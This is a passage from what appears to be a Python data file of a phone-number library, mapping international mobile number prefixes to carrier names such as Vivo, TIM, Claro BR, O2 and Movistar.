'Maroc Telecom'}, '1242458':{'en': 'BaTelCo'}, '212665':{'en': u('M\u00e9ditel')}, '505832':{'en': 'Movistar'}, '175852':{'en': 'AT&T'}, '175851':{'en': 'AT&T'}, '51449498':{'en': 'Movistar'}, '549293':{'en': 'Personal'}, '549292':{'en': 'Personal'}, '549291':{'en': 'Personal'}, '549290':{'en': 'Personal'}, '549297':{'en': 'Personal'}, '549296':{'en': 'Personal'}, '549295':{'en': 'Personal'}, '549294':{'en': 'Personal'}, '549299':{'en': 'Personal'}, '549298':{'en': 'Personal'}, '447106':{'en': 'O2'}, '447107':{'en': 'O2'}, '1787229':{'en': 'CENTENNIAL'}, '1939717':{'en': 'CENTENNIAL'}, '554798436':{'en': 'Brasil Telecom GSM'}, '4473900':{'en': 'Home Office'}, '554199259':{'en': 'Vivo'}, '554199258':{'en': 'Vivo'}, '554199253':{'en': 'Vivo'}, '554199252':{'en': 'Vivo'}, '554599983':{'en': 'TIM'}, '554599982':{'en': 'TIM'}, '554798901':{'en': 'Claro BR'}, '553399106':{'en': 'TIM'}, '553399107':{'en': 'TIM'}, '553398453':{'en': 'Claro BR'}, '553398451':{'en': 'Claro BR'}, '553199781':{'en': 'Telemig Celular'}, '554798437':{'en': 'Brasil Telecom GSM'}, '553398456':{'en': 'Claro BR'}, '24999':{'en': 'MTN'}, '554299157':{'en': 'Vivo'}, '553398455':{'en': 'Claro BR'}, '24991':{'en': 'Zain'}, '24990':{'en': 'Zain'}, '24993':{'en': 'MTN'}, '24992':{'en': 'MTN'}, '24995':{'en': 'Network of The World Ltd'}, '24996':{'en': 'Zain'}, '454260':{'en': 'BiBoB'}, '554498860':{'en': 'Claro BR'}, '552498127':{'en': 'TIM'}, '552498126':{'en': 'TIM'}, '552498125':{'en': 'TIM'}, '552498124':{'en': 'TIM'}, '51549590':{'en': 'Movistar'}, '51549591':{'en': 'Claro'}, '51549593':{'en': 'Claro'}, '51549594':{'en': 'Movistar'}, '51549596':{'en': 'Movistar'}, '51549597':{'en': 'Claro'}, '552498121':{'en': 'TIM'}, '164943':{'en': 'Islandcom'}, '515495956':{'en': 'Movistar'}, '515495957':{'en': 'Movistar'}, '515495954':{'en': 'Movistar'}, '515495955':{'en': 'Movistar'}, '515495952':{'en': 'Movistar'}, '515495953':{'en': 'Movistar'}, '515495950':{'en': 'Movistar'}, '515495951':{'en': 'Movistar'}, '515495958':{'en': 'Movistar'}, '553499208':{'en': 'TIM'}, '552498128':{'en': 'TIM'}, '551799625':{'en': 'Vivo'}, '551799624':{'en': 'Vivo'}, '26269360':{'en': 'Only'}, '551799626':{'en': 'Vivo'}, '26269366':{'en': 'Orange'}, '551799623':{'en': 'Vivo'}, '551799622':{'en': 'Vivo'}, '551799629':{'en': 'Vivo'}, '551799628':{'en': 'Vivo'}, '38068':{'en': 'Kyivstar'}, '45913':{'en': 'Telenor'}, '45914':{'en': 'Lycamobile Denmark Ltd'}, '45916':{'en': 'Lycamobile Denmark Ltd'}, '45917':{'en': 'Lycamobile Denmark Ltd'}, '45918':{'en': 'Lebara Limited'}, '45919':{'en': 'Lebara Limited'}, '554299944':{'en': 'TIM'}, '38063':{'en': 'lifecell'}, '554299942':{'en': 'TIM'}, '554299943':{'en': 'TIM'}, '38066':{'en': 'Vodafone'}, '38067':{'en': 'Kyivstar'}, '553299938':{'en': 'Telemig Celular'}, '553299939':{'en': 'Telemig Celular'}, '252906':{'en': 'Golis Telecom'}, '252907':{'en': 'Golis Telecom'}, '553299932':{'en': 'Telemig Celular'}, '553299933':{'en': 'Telemig Celular'}, '553299934':{'en': 'Telemig Celular'}, '553299935':{'en': 'Telemig Celular'}, '553299936':{'en': 'Telemig Celular'}, '553299937':{'en': 'Telemig Celular'}, '551197081':{'en': 'Claro BR'}, '551197080':{'en': 'Claro BR'}, '551197083':{'en': 'Claro BR'}, '551197082':{'en': 'Claro BR'}, '551197085':{'en': 'Claro BR'}, '551197084':{'en': 'Claro BR'}, '51739698':{'en': 'Movistar'}, '551197086':{'en': 'Claro BR'}, '51739696':{'en': 'Movistar'}, '551197088':{'en': 'Vivo'}, '51739694':{'en': 'Movistar'}, '552899255':{'en': 'Claro BR'}, '51739692':{'en': 'Movistar'}, '552899253':{'en': 'Claro BR'}, '51739690':{'en': 'Movistar'}, '51739691':{'en': 'Movistar'}, '553899806':{'en': 'Telemig Celular'}, '553899807':{'en': 'Telemig Celular'}, '553899804':{'en': 'Telemig Celular'}, '553899805':{'en': 'Telemig Celular'}, '553899802':{'en': 'Telemig Celular'}, '553899803':{'en': 'Telemig Celular'}, '352671':{'en': 'JOIN'}, '553899801':{'en': 'Telemig Celular'}, '553899808':{'en': 'Telemig Celular'}, '352678':{'en': 'JOIN'}, '55339998':{'en': 'Telemig Celular'}, '447375':{'en': 'EE'}, '554599928':{'en': 'TIM'}, '447377':{'en': 'EE'}, '447376':{'en': 'EE'}, '447379':{'en': 'Vodafone'}, '447378':{'en': 'Three'}, '554599927':{'en': 'TIM'}, '554599926':{'en': 'TIM'}, '554599921':{'en': 'TIM'}, '554599923':{'en': 'TIM'}, '554599922':{'en': 'TIM'}, '26773':{'en': 'BTC Mobile'}, '26772':{'en': 'Orange'}, '385976':{'en': 'Hrvatski Telekom'}, '385977':{'en': 'Hrvatski Telekom'}, '385970':{'en': 'Hrvatski Telekom'}, '553199783':{'en': 'Telemig Celular'}, '26774':{'en': 'Mascom'}, '385979':{'en': 'Hrvatski Telekom'}, '553199788':{'en': 'Telemig Celular'}, '553199789':{'en': 'Telemig Celular'}, '551498155':{'en': 'TIM'}, '30699046':{'en': 'Premium Net International'}, '553199635':{'en': 'Telemig Celular'}, '30699048':{'en': 'AMD Telecom'}, '502580':{'en': 'Tigo'}, '553199638':{'en': 'Telemig Celular'}, '502588':{'en': 'Tigo'}, '502589':{'en': 'Tigo'}, '553199639':{'en': 'Telemig Celular'}, '551899606':{'en': 'Vivo'}, '551899607':{'en': 'Vivo'}, '551899604':{'en': 'Vivo'}, '551899605':{'en': 'Vivo'}, '551899602':{'en': 'Vivo'}, '551899603':{'en': 'Vivo'}, '551899601':{'en': 'Vivo'}, '551899608':{'en': 'Vivo'}, '551899609':{'en': 'Vivo'}, '35795':{'en': 'PrimeTel'}, '35794':{'en': 'Lemontel'}, '35797':{'en': 'Cytamobile-Vodafone'}, '35796':{'en': 'MTN'}, '35799':{'en': 'Cytamobile-Vodafone'}, '553398401':{'en': 'Claro BR'}, '553398402':{'en': 'Claro BR'}, '553398403':{'en': 'Claro BR'}, '553398404':{'en': 'Claro BR'}, '553398405':{'en': 'Claro BR'}, '553398406':{'en': 'Claro BR'}, '551498151':{'en': 'TIM'}, '553398408':{'en': 'Claro BR'}, '553398409':{'en': 'Claro BR'}, '516496499':{'en': 'Movistar'}, '516496498':{'en': 'Movistar'}, '389789':{'en': 'Vip'}, '389788':{'en': 'Vip'}, '516496491':{'en': 'Movistar'}, '389786':{'en': 'Vip'}, '389785':{'en': 'Vip'}, '516496492':{'en': 'Movistar'}, '389783':{'en': 'Vip'}, '389782':{'en': 'Vip'}, '516496497':{'en': 'Movistar'}, '516496496':{'en': 'Movistar'}, '447902':{'en': 'O2'}, '447900':{'en': 'Vodafone'}, '447901':{'en': 'Vodafone'}, '447907':{'en': 'O2'}, '447909':{'en': 'Vodafone'}, '212638':{'en': 'Inwi'}, '23851':{'en': 'T+'}, '23853':{'en': 'T+'}, '23852':{'en': 'T+'}, '23859':{'en': 'CVMOVEL'}, '23858':{'en': 'CVMOVEL'}, '1876440':{'en': 'Digicel'}, '502477':{'en': 'Tigo'}, '554299164':{'en': 'Vivo'}, '554299165':{'en': 'Vivo'}, '554299166':{'en': 'Vivo'}, '554299161':{'en': 'Vivo'}, '554299162':{'en': 'Vivo'}, '554299163':{'en': 'Vivo'}, '1876449':{'en': 'Digicel'}, '553199108':{'en': 'TIM'}, '502479':{'en': 'Tigo'}, '551398149':{'en': 'TIM'}, '553199109':{'en': 'TIM'}, '212634':{'en': 'Inwi'}, '1242429':{'en': 'BaTelCo'}, '553598479':{'en': 'Claro BR'}, '553598478':{'en': 'Claro BR'}, '553598473':{'en': 'Claro BR'}, '553598472':{'en': 'Claro BR'}, '553598471':{'en': 'Claro BR'}, '553598477':{'en': 'Claro BR'}, '553598476':{'en': 'Claro BR'}, '553199164':{'en': 'TIM'}, '553598474':{'en': 'Claro BR'}, '5532989':{'en': 'Oi'}, '5532988':{'en': 'Oi'}, '553199102':{'en': 'TIM'}, '551999641':{'en': 'Vivo'}, '551999643':{'en': 'Vivo'}, '551999642':{'en': 'Vivo'}, '551999645':{'en': 'Vivo'}, '551999644':{'en': 'Vivo'}, '551999647':{'en': 'Vivo'}, '551999646':{'en': 'Vivo'}, '551999649':{'en': 'Vivo'}, '551999648':{'en': 'Vivo'}, '553199105':{'en': 'TIM'}, '553199106':{'en': 'TIM'}, '553199107':{'en': 'TIM'}, '4476818':{'en': 'PageOne'}, '5532985':{'en': 'Oi'}, '5025819':{'en': 'Tigo'}, '124282':{'en': 'aliv'}, '551898151':{'en': 'TIM'}, '51539539':{'en': 'Movistar'}, '4476810':{'en': 'PageOne'}, '30695299':{'en': 'BWS'}, '4476814':{'en': 'PageOne'}, '516796798':{'en': 'Movistar'}, '553899121':{'en': 'TIM'}, '553899123':{'en': 'TIM'}, '553899122':{'en': 'TIM'}, '553899125':{'en': 'TIM'}, '553899124':{'en': 'TIM'}, '553899127':{'en': 'TIM'}, '553899126':{'en': 'TIM'}, '553899129':{'en': 'TIM'}, '553899128':{'en': 'TIM'}, '346347':{'en': 'Vodafone'}, '447748':{'en': 'Vodafone'}, '447749':{'en': 'O2'}, '551499179':{'en': 'Claro BR'}, '447740':{'en': 'O2'}, '447741':{'en': 'Vodafone'}, '447742':{'en': 'O2'}, '447743':{'en': 'O2'}, '447745':{'en': 'O2'}, '447746':{'en': 'O2'}, '447747':{'en': 'Vodafone'}, '5036195':{'en': 'Movistar'}, '5036194':{'en': 'Movistar'}, '5036197':{'en': 'Movistar'}, '5036196':{'en': 'Movistar'}, '5036191':{'en': 'Movistar'}, '5036190':{'en': 'Movistar'}, '5036193':{'en': 'Movistar'}, '5036192':{'en': 'Movistar'}, '47970':{'en': 'Telenor'}, '47971':{'en': 'Telenor'}, '4477003':{'en': 'Sure'}, '5036198':{'en': 'Movistar'}, '47976':{'en': 'Telenor'}, '47977':{'en': 'Telenor'}, '553199281':{'en': 'TIM'}, '31683':{'en': 'KPN'}, '31681':{'en': 'T-Mobile'}, '31680':{'en': 'Vodafone Libertel B.V.'}, '31687':{'en': 'Lycamobile'}, '31686':{'en': 'Lycamobile'}, '31685':{'en': 'Lycamobile'}, '31684':{'en': 'Lycamobile'}, '12844966':{'en': 'CCT'}, '12844967':{'en': 'CCT'}, '479337':{'en': 'NetCom'}, '12844968':{'en': 'CCT'}, '12844969':{'en': 'CCT'}, '551599692':{'en': 'Vivo'}, '30690574':{'en': 'BWS'}, '511986':{'en': 'Claro'}, '511987':{'en': 'Claro'}, '553499981':{'en': 'Telemig Celular'}, '511985':{'en': 'Movistar'}, '553499987':{'en': 'Telemig Celular'}, '553499986':{'en': 'Telemig Celular'}, '553499985':{'en': 'Telemig Celular'}, '553499984':{'en': 'Telemig Celular'}, '553499989':{'en': 'Telemig Celular'}, '553499988':{'en': 'Telemig Celular'}, '511988':{'en': 'Movistar'}, '511989':{'en': 'Claro'}, '55189910':{'en': 'Claro BR'}, '55189911':{'en': 'Claro BR'}, '55189912':{'en': 'Claro BR'}, '55189913':{'en': 'Claro BR'}, '55189914':{'en': 'Claro BR'}, '55189915':{'en': 'Claro BR'}, '55189916':{'en': 'Claro BR'}, '55189917':{'en': 'Claro BR'}, '554798421':{'en': 'Brasil Telecom GSM'}, '554798423':{'en': 'Brasil Telecom GSM'}, '554798422':{'en': 'Brasil Telecom GSM'}, '554798425':{'en': 'Brasil Telecom GSM'}, '554798424':{'en': 'Brasil Telecom GSM'}, '554798427':{'en': 'Brasil Telecom GSM'}, '554798426':{'en': 'Brasil Telecom GSM'}, '554798429':{'en': 'Brasil Telecom GSM'}, '554798428':{'en': 'Brasil Telecom GSM'}, '3069900':{'en': 'Wind'}, '23990':{'en': 'Unitel'}, '23998':{'en': 'CSTmovel'}, '23999':{'en': 'CSTmovel'}, '4474062':{'en': 'Cheers'}, '4474060':{'en': 'Cheers'}, '4474061':{'en': 'Cheers'}, '4474066':{'en': '24 Seven'}, '4474067':{'en': 'TGL'}, '4474065':{'en': 'Telecom2'}, '552799653':{'en': 'Vivo'}, '4474068':{'en': '08Direct'}, '4474069':{'en': 'CardBoardFish'}, '552799652':{'en': 'Vivo'}, '552799651':{'en': 'Vivo'}, '552799650':{'en': 'Vivo'}, '373676':{'en': 'Moldtelecom'}, '373677':{'en': 'Moldtelecom'}, '373674':{'en': 'Moldtelecom'}, '373675':{'en': 'Moldtelecom'}, '373672':{'en': 'Moldtelecom'}, '373673':{'en': 'Moldtelecom'}, '373671':{'en': 'Moldtelecom'}, '554398431':{'en': 'Brasil Telecom GSM'}, '554298416':{'en': 'Brasil Telecom GSM'}, '552298113':{'en': 'TIM'}, '26481':{'en': 'MTC'}, '26482':{'en': 'Telecom Namibia'}, '26485':{'en': 'TN Mobile'}, '26484':{'en': 'MTN'}, '554298411':{'en': 'Brasil Telecom GSM'}, '1787479':{'en': 'CENTENNIAL'}, '1787478':{'en': 'SunCom Wireless Puerto Rico'}, '1787474':{'en': 'CENTENNIAL'}, '1787473':{'en': 'CENTENNIAL'}, '1787471':{'en': 'CENTENNIAL'}, '30695355':{'en': 'Cyta'}, '552298118':{'en': 'TIM'}, '552298119':{'en': 'TIM'}, '554199222':{'en': 'Vivo'}, '554299964':{'en': 'TIM'}, '554299965':{'en': 'TIM'}, '554299966':{'en': 'TIM'}, '554299967':{'en': 'TIM'}, '554299961':{'en': 'TIM'}, '554199223':{'en': 'Vivo'}, '554299963':{'en': 'TIM'}, '554299969':{'en': 'TIM'}, '553299958':{'en': 'Telemig Celular'}, '553299959':{'en': 'Telemig Celular'}, '553299956':{'en': 'Telemig Celular'}, '553299957':{'en': 'Telemig Celular'}, '553299954':{'en': 'Telemig Celular'}, '553299955':{'en': 'Telemig Celular'}, '553299952':{'en': 'Telemig Celular'}, '553299953':{'en': 'Telemig Celular'}, '553299951':{'en': 'Telemig Celular'}, '552899274':{'en': 'Claro BR'}, '552899275':{'en': 'Claro BR'}, '552899276':{'en': 'Claro BR'}, '552899277':{'en': 'Claro BR'}, '552899271':{'en': 'Claro BR'}, '552899272':{'en': 'Claro BR'}, '552899273':{'en': 'Claro BR'}, '552899278':{'en': 'Claro BR'}, '552899279':{'en': 'Claro BR'}, '553399908':{'en': 'Telemig Celular'}, '553399909':{'en': 'Telemig Celular'}, '553399902':{'en': 'Telemig Celular'}, '553399903':{'en': 'Telemig Celular'}, '553399901':{'en': 'Telemig Celular'}, '553399906':{'en': 'Telemig Celular'}, '553399907':{'en': 'Telemig Celular'}, '553399904':{'en': 'Telemig Celular'}, '553399905':{'en': 'Telemig Celular'}, '551799609':{'en': 'Vivo'}, '551799608':{'en': 'Vivo'}, '551799603':{'en': 'Vivo'}, '551799602':{'en': 'Vivo'}, '551799601':{'en': 'Vivo'}, '551799607':{'en': 'Vivo'}, '551799606':{'en': 'Vivo'}, '551799605':{'en': 'Vivo'}, '551799604':{'en': 'Vivo'}, '180993':{'en': 'Tricom'}, '180992':{'en': 'Tricom'}, '180991':{'en': 'Orange'}, '180997':{'en': 'Orange'}, '50258':{'en': 'Telgua'}, '180995':{'en': 'Claro'}, '180994':{'en': 'Tricom'}, '3472260':{'en': 'MasMovil'}, '180999':{'en': 'Tricom'}, '180998':{'en': 'Orange'}, '50253':{'en': 'Tigo'}, '50252':{'en': 'Movistar'}, '1787450':{'en': 'Claro'}, '551498809':{'en': 'Oi'}, '551498808':{'en': 'Oi'}, '515195083':{'en': 'Movistar'}, '515195082':{'en': 'Movistar'}, '515195081':{'en': 'Movistar'}, '515195080':{'en': 'Movistar'}, '551196864':{'en': 'Vivo'}, '551196865':{'en': 'Vivo'}, '551196866':{'en': 'Vivo'}, '1787904':{'en': 'SunCom Wireless Puerto Rico'}, '1787903':{'en': 'CENTENNIAL'}, '551196861':{'en': 'Vivo'}, '1787901':{'en': 'SunCom Wireless Puerto Rico'}, '551196863':{'en': 'Vivo'}, '5025551':{'en': 'Tigo'}, '5025550':{'en': 'Tigo'}, '5025553':{'en': 'Tigo'}, '5025552':{'en': 'Tigo'}, '505820':{'en': 'Claro'}, '505821':{'en': 'Claro'}, '505822':{'en': 'Claro'}, '505823':{'en': 'Claro'}, '23299':{'en': 'Africell'}, '551498807':{'en': 'Oi'}, '551498806':{'en': 'Oi'}, '5533986':{'en': 'Oi'}, '5533987':{'en': 'Oi'}, '5533985':{'en': 'Oi'}, '5533988':{'en': 'Oi'}, '5533989':{'en': 'Oi'}, '554799952':{'en': 'TIM'}, '554799953':{'en': 'TIM'}, '234173':{'en': 'Starcomms'}, '552499297':{'en': 'Claro BR'}, '552499294':{'en': 'Claro BR'}, '1284393':{'en': 'Digicel'}, '1284394':{'en': 'Digicel'}, '552499293':{'en': 'Claro BR'}, '234174':{'en': 'Starcomms'}, '554799956':{'en': 'TIM'}, '552499298':{'en': 'Claro BR'}, '552499299':{'en': 'Claro BR'}, '554799954':{'en': 'TIM'}, '554799955':{'en': 'TIM'}, '553199819':{'en': 'Telemig Celular'}, '447929':{'en': 'Orange'}, '447924':{'en': 'Manx Telecom'}, '447920':{'en': 'Vodafone'}, '551899628':{'en': 'Vivo'}, '551899629':{'en': 'Vivo'}, '551899624':{'en': 'Vivo'}, '551899625':{'en': 'Vivo'}, '551899626':{'en': 'Vivo'}, '551899627':{'en': 'Vivo'}, '551899621':{'en': 'Vivo'}, '551899622':{'en': 'Vivo'}, '551899623':{'en': 'Vivo'}, '240550':{'en': 'Muni'}, '240551':{'en': 'HiTS'}, '553599816':{'en': 'Telemig Celular'}, '553599817':{'en': 'Telemig Celular'}, '553599814':{'en': 'Telemig Celular'}, '553599815':{'en': 'Telemig Celular'}, '553599812':{'en': 'Telemig Celular'}, '553599813':{'en': 'Telemig Celular'}, '553599811':{'en': 'Telemig Celular'}, '552299254':{'en': 'Claro BR'}, '1246259':{'en': 'Digicel'}, '1246258':{'en': 'Digicel'}, '1246253':{'en': 'LIME'}, '1246252':{'en': 'LIME'}, '1246251':{'en': 'LIME'}, '1246250':{'en': 'LIME'}, '1246257':{'en': 'Digicel'}, '1246256':{'en': 'Digicel'}, '1246255':{'en': 'LIME'}, '1246254':{'en': 'LIME'}, '554398432':{'en': 'Brasil Telecom GSM'}, '5521989':{'en': 'Oi'}, '5521988':{'en': 'Oi'}, '5521981':{'en': 'TIM'}, '5521982':{'en': 'TIM'}, '5521985':{'en': 'Oi'}, '5521987':{'en': 'Oi'}, '5521986':{'en': 'Oi'}, '516796768':{'en': 'Movistar'}, '5119986':{'en': 'Movistar'}, '5119987':{'en': 'Movistar'}, '5119984':{'en': 'Movistar'}, '551999664':{'en': 'Vivo'}, '551999663':{'en': 'Vivo'}, '551999662':{'en': 'Vivo'}, '5119980':{'en': 'Movistar'}, '551498154':{'en': 'TIM'}, '5119988':{'en': 'Movistar'}, '5119989':{'en': 'Movistar'}, '551498156':{'en': 'TIM'}, '1242525':{'en': 'BaTelCo'}, '551498153':{'en': 'TIM'}, '552899954':{'en': 'Vivo'}, '551498152':{'en': 'TIM'}, '553299971':{'en': 'Telemig Celular'}, '551699712':{'en': 'Vivo'}, '37544':{'be': 'Velcom', 'en': 'Velcom', 'ru': 'Velcom'}, '551699713':{'en': 'Vivo'}, '459272':{'en': 'Thyfon'}, '459271':{'en': 'Naka AG'}, '459270':{'en': 'Ice Danmark'}, '516796771':{'en': 'Claro'}, '516796770':{'en': 'Claro'}, '1264538':{'en': 'Weblinks Limited'}, '1264539':{'en': 'Weblinks Limited'}, '506704':{'en': 'Claro'}, '506705':{'en': 'Claro'}, '506706':{'en': 'Claro'}, '506707':{'en': 'Claro'}, '506708':{'en': 'Claro'}, '506709':{'en': 'Claro'}, '1264536':{'en': 'Weblinks Limited'}, '1264537':{'en': 'Weblinks Limited'}, '553899107':{'en': 'TIM'}, '553899106':{'en': 'TIM'}, '553899105':{'en': 'TIM'}, '553899104':{'en': 'TIM'}, '553899103':{'en': 'TIM'}, '553899102':{'en': 'TIM'}, '553899101':{'en': 'TIM'}, '517697658':{'en': 'Movistar'}, '517697657':{'en': 'Movistar'}, '517697656':{'en': 'Movistar'}, '517697655':{'en': 'Movistar'}, '517697654':{'en': 'Movistar'}, '517697653':{'en': 'Movistar'}, '517697652':{'en': 'Movistar'}, '517697651':{'en': 'Movistar'}, '517697650':{'en': 'Movistar'}, '447722':{'en': 'EE'}, '447723':{'en': 'Three'}, '447721':{'en': 'Vodafone'}, '447726':{'en': 'EE'}, '447727':{'en': 'Three'}, '447728':{'en': 'Three'}, '479683':{'en': 'NetCom'}, '5528985':{'en': 'Oi'}, '324630':{'en': 'TISMI BV'}, '551599115':{'en': 'Claro BR'}, '551599114':{'en': 'Claro BR'}, '554399154':{'en': 'Vivo'}, '51529523':{'en': 'Claro'}, '551599116':{'en': 'Claro BR'}, '51529526':{'en': 'Movistar'}, '554399152':{'en': 'Vivo'}, '51529528':{'en': 'Movistar'}, '551798811':{'en': 'Oi'}, '551798810':{'en': 'Oi'}, '551798813':{'en': 'Oi'}, '551798812':{'en': 'Oi'}, '474551':{'en': 'NetCom'}, '474550':{'en': 'NetCom'}, '554399151':{'en': 'Vivo'}, '479357':{'en': 'NetCom'}, '474559':{'en': 'NetCom'}, '2348885':{'en': 'Starcomms'}, '2348886':{'en': 'Starcomms'}, '2348887':{'en': 'Starcomms'}, '1876506':{'en': 'Digicel'}, '1876507':{'en': 'Digicel'}, '1876504':{'en': 'Digicel'}, '1876505':{'en': 'Digicel'}, '1876503':{'en': 'Digicel'}, '30690599':{'en': 'BWS'}, '1784489':{'en': 'Cable & Wireless'}, '1876508':{'en': 'Digicel'}, '1876509':{'en': 'Digicel'}, '256723':{'en': 'Afrimax'}, '256720':{'en': 'Smile'}, '554599135':{'en': 'Vivo'}, '553799995':{'en': 'Telemig Celular'}, '553799994':{'en': 'Telemig Celular'}, '553799997':{'en': 'Telemig Celular'}, '554798407':{'en': 'Brasil Telecom GSM'}, '554798406':{'en': 'Brasil Telecom GSM'}, '554798405':{'en': 'Brasil Telecom GSM'}, '554798404':{'en': 'Brasil Telecom GSM'}, '554798403':{'en': 'Brasil Telecom GSM'}, '554798402':{'en': 'Brasil Telecom GSM'}, '554798401':{'en': 'Brasil Telecom GSM'}, '554798409':{'en': 'Brasil Telecom GSM'}, '554798408':{'en': 'Brasil Telecom GSM'}, '2346482':{'en': 'Starcomms'}, '2346481':{'en': 'Starcomms'}, '2346489':{'en': 'Starcomms'}, '34635':{'en': 'Orange'}, '34637':{'en': 'Vodafone'}, '34636':{'en': 'Movistar'}, '34631':{'en': 'Lycamobile'}, '34630':{'en': 'Movistar'}, '34633':{'en': 'Yoigo'}, '34632':{'en': 'Lycamobile'}, '554199257':{'en': 'Vivo'}, '554199256':{'en': 'Vivo'}, '554199255':{'en': 'Vivo'}, '554199254':{'en': 'Vivo'}, '34639':{'en': 'Movistar'}, '34638':{'en': 'Movistar'}, '554199251':{'en': 'Vivo'}, '553399102':{'en': 'TIM'}, '553399103':{'en': 'TIM'}, '553399101':{'en': 'TIM'}, '4474088':{'en': 'Truphone'}, '4474089':{'en': 'Truphone'}, '553399104':{'en': 'TIM'}, '553399105':{'en': 'TIM'}, '553399108':{'en': 'TIM'}, '553399109':{'en': 'TIM'}, '4474080':{'en': 'Truphone'}, '4474081':{'en': 'Truphone'}, '4474082':{'en': 'Truphone'}, '35850':{'en': 'Elisa'}, '24104':{'en': 'Airtel'}, '4474886':{'en': 'Lanonyx'}, '4474880':{'en': 'Fogg'}, '4474881':{'en': 'CESG'}, '4474882':{'en': 'Sky'}, '4474883':{'en': 'Sky'}, '4474888':{'en': 'Ziron'}, '55159968':{'en': 'Vivo'}, '551698139':{'en': 'TIM'}, '551698138':{'en': 'TIM'}, '551698131':{'en': 'TIM'}, '553199101':{'en': 'TIM'}, '551698133':{'en': 'TIM'}, '551698132':{'en': 'TIM'}, '551698135':{'en': 'TIM'}, '551698134':{'en': 'TIM'}, '551698137':{'en': 'TIM'}, '551698136':{'en': 'TIM'}, '1787459':{'en': 'SunCom Wireless Puerto Rico'}, '1787458':{'en': 'SunCom Wireless Puerto Rico'}, '2202':{'en': 'Africell'}, '2203':{'en': 'QCell'}, '551196060':{'en': 'Vivo'}, '2206':{'en': 'Comium'}, '2207':{'en': 'Africell'}, '2209':{'en': 'Gamcel'}, '1787453':{'en': 'Claro'}, '1787454':{'en': 'SunCom Wireless Puerto Rico'}, '2567260':{'en': 'Tangerine'}, '1758488':{'en': 'Cable & Wireless'}, '1758489':{'en': 'Cable & Wireless'}, '1758486':{'en': 'Cable & Wireless'}, '1758487':{'en': 'Cable & Wireless'}, '1758484':{'en': 'Cable & Wireless'}, '1758485':{'en': 'Cable & Wireless'}, '4529':{'en': 'TDC'}, '4528':{'en': 'Telia'}, '4527':{'en': 'Telia'}, '4526':{'en': 'Telia'}, '4524':{'en': 'TDC'}, '4522':{'en': 'Telenor'}, '4521':{'en': 'TDC'}, '515495992':{'en': 'Movistar'}, '515495991':{'en': 'Movistar'}, '515495996':{'en': 'Movistar'}, '515495997':{'en': 'Movistar'}, '515495998':{'en': 'Movistar'}, '515495999':{'en': 'Movistar'}, '447800':{'en': 'Orange'}, '551798808':{'en': 'Oi'}, '447807':{'en': 'Orange'}, '551798809':{'en': 'Oi'}, '35567':{'en': 'ALBtelecom'}, '447805':{'en': 'Orange'}, '554199241':{'en': 'Vivo'}, '518498405':{'en': 'Movistar'}, '551798804':{'en': 'Oi'}, '553199818':{'en': 'Telemig Celular'}, '551798805':{'en': 'Oi'}, '553199812':{'en': 'Telemig Celular'}, '553199813':{'en': 'Telemig Celular'}, '553199811':{'en': 'Telemig Celular'}, '553199816':{'en': 'Telemig Celular'}, '553199817':{'en': 'Telemig Celular'}, '553199814':{'en': 'Telemig Celular'}, '553199815':{'en': 'Telemig Celular'}, '553299974':{'en': 'Telemig Celular'}, '553299975':{'en': 'Telemig Celular'}, '553299976':{'en': 'Telemig Celular'}, '553299977':{'en': 'Telemig Celular'}, '553199339':{'en': 'TIM'}, '553299972':{'en': 'Telemig Celular'}, '553299973':{'en': 'Telemig Celular'}, '553199338':{'en': 'TIM'}, '553299979':{'en': 'Telemig Celular'}, '553199747':{'en': 'Telemig Celular'}, '553199745':{'en': 'Telemig Celular'}, '552899973':{'en': 'Vivo'}, '553399921':{'en': 'Telemig Celular'}, '553399922':{'en': 'Telemig Celular'}, '553799996':{'en': 'Telemig Celular'}, '553799991':{'en': 'Telemig Celular'}, '553799993':{'en': 'Telemig Celular'}, '553799992':{'en': 'Telemig Celular'}, '553799999':{'en': 'Telemig Celular'}, '553799998':{'en': 'Telemig Celular'}, '55159960':{'en': 'Vivo'}, '55159961':{'en': 'Vivo'}, '55159962':{'en': 'Vivo'}, '55159963':{'en': 'Vivo'}, '55159964':{'en': 'Vivo'}, '55159965':{'en': 'Vivo'}, '55159966':{'en': 'Vivo'}, '55159967':{'en': 'Vivo'}, '3460222':{'en': 'Vozelia'}, '552899972':{'en': 'Vivo'}, '3897421':{'en': 'Mobik'}, '1268774':{'en': 'APUA'}, '1268775':{'en': 'APUA'}, '553799199':{'en': 'TIM'}, '553799198':{'en': 'TIM'}, '1268773':{'en': 'APUA'}, '553799194':{'en': 'TIM'}, '553799197':{'en': 'TIM'}, '553799191':{'en': 'TIM'}, '553799193':{'en': 'TIM'}, '553799192':{'en': 'TIM'}, '553199742':{'en': 'Telemig Celular'}, '553199743':{'en': 'Telemig Celular'}, '553199741':{'en': 'Telemig Celular'}, '553199746':{'en': 'Telemig Celular'}, '30689900':{'en': 'OTEGlobe'}, '553199744':{'en': 'Telemig Celular'}, '551799708':{'en': 'Vivo'}, '39377':{'en': 'Vodafone'}, '1767225':{'en': 'Cable & Wireless'}, '553199748':{'en': 'Telemig Celular'}, '553199749':{'en': 'Telemig Celular'}, '39373':{'en': '3 Italia'}, '187658':{'en': 'Digicel'}, '24380':{'en': 'Supercell'}, '24381':{'en': 'Vodacom'}, '24382':{'en': 'Vodacom'}, '180979':{'en': 'Claro'}, '180978':{'en': 'Claro'}, '5037789':{'en': 'Tigo'}, '5037788':{'en': 'Tigo'}, '5037787':{'en': 'Tigo'}, '180974':{'en': 'Claro'}, '187657':{'en': 'Digicel'}, '180976':{'en': 'Claro'}, '180971':{'en': 'Claro'}, '180970':{'en': 'Claro'}, '5037781':{'en': 'Movistar'}, '187652':{'en': 'Digicel'}, '180975':{'en': 'Claro'}, '24389':{'en': 'Tigo'}, '180977':{'en': 'Viva'}, '55439882':{'en': 'Claro BR'}, '5037784':{'en': 'Movistar'}, '55439883':{'en': 'Claro BR'}, '552899977':{'en': 'Vivo'}, '2994':{'en': 'TELE Greenland A/S'}, '553599911':{'en': 'Telemig Celular'}, '2995':{'en': 'TELE Greenland A/S'}, '1787928':{'en': 'CENTENNIAL'}, '55439881':{'en': 'Claro BR'}, '1787923':{'en': 'SunCom Wireless Puerto Rico'}, '180972':{'en': 'Claro'}, '1787924':{'en': 'CENTENNIAL'}, '1787927':{'en': 'CENTENNIAL'}, '1787926':{'en': 'CENTENNIAL'}, '5025539':{'en': 'Telgua'}, '5025538':{'en': 'Telgua'}, '55439884':{'en': 'Claro BR'}, '552899976':{'en': 'Vivo'}, '5025533':{'en': 'Telgua'}, '5025532':{'en': 'Telgua'}, '5025531':{'en': 'Telgua'}, 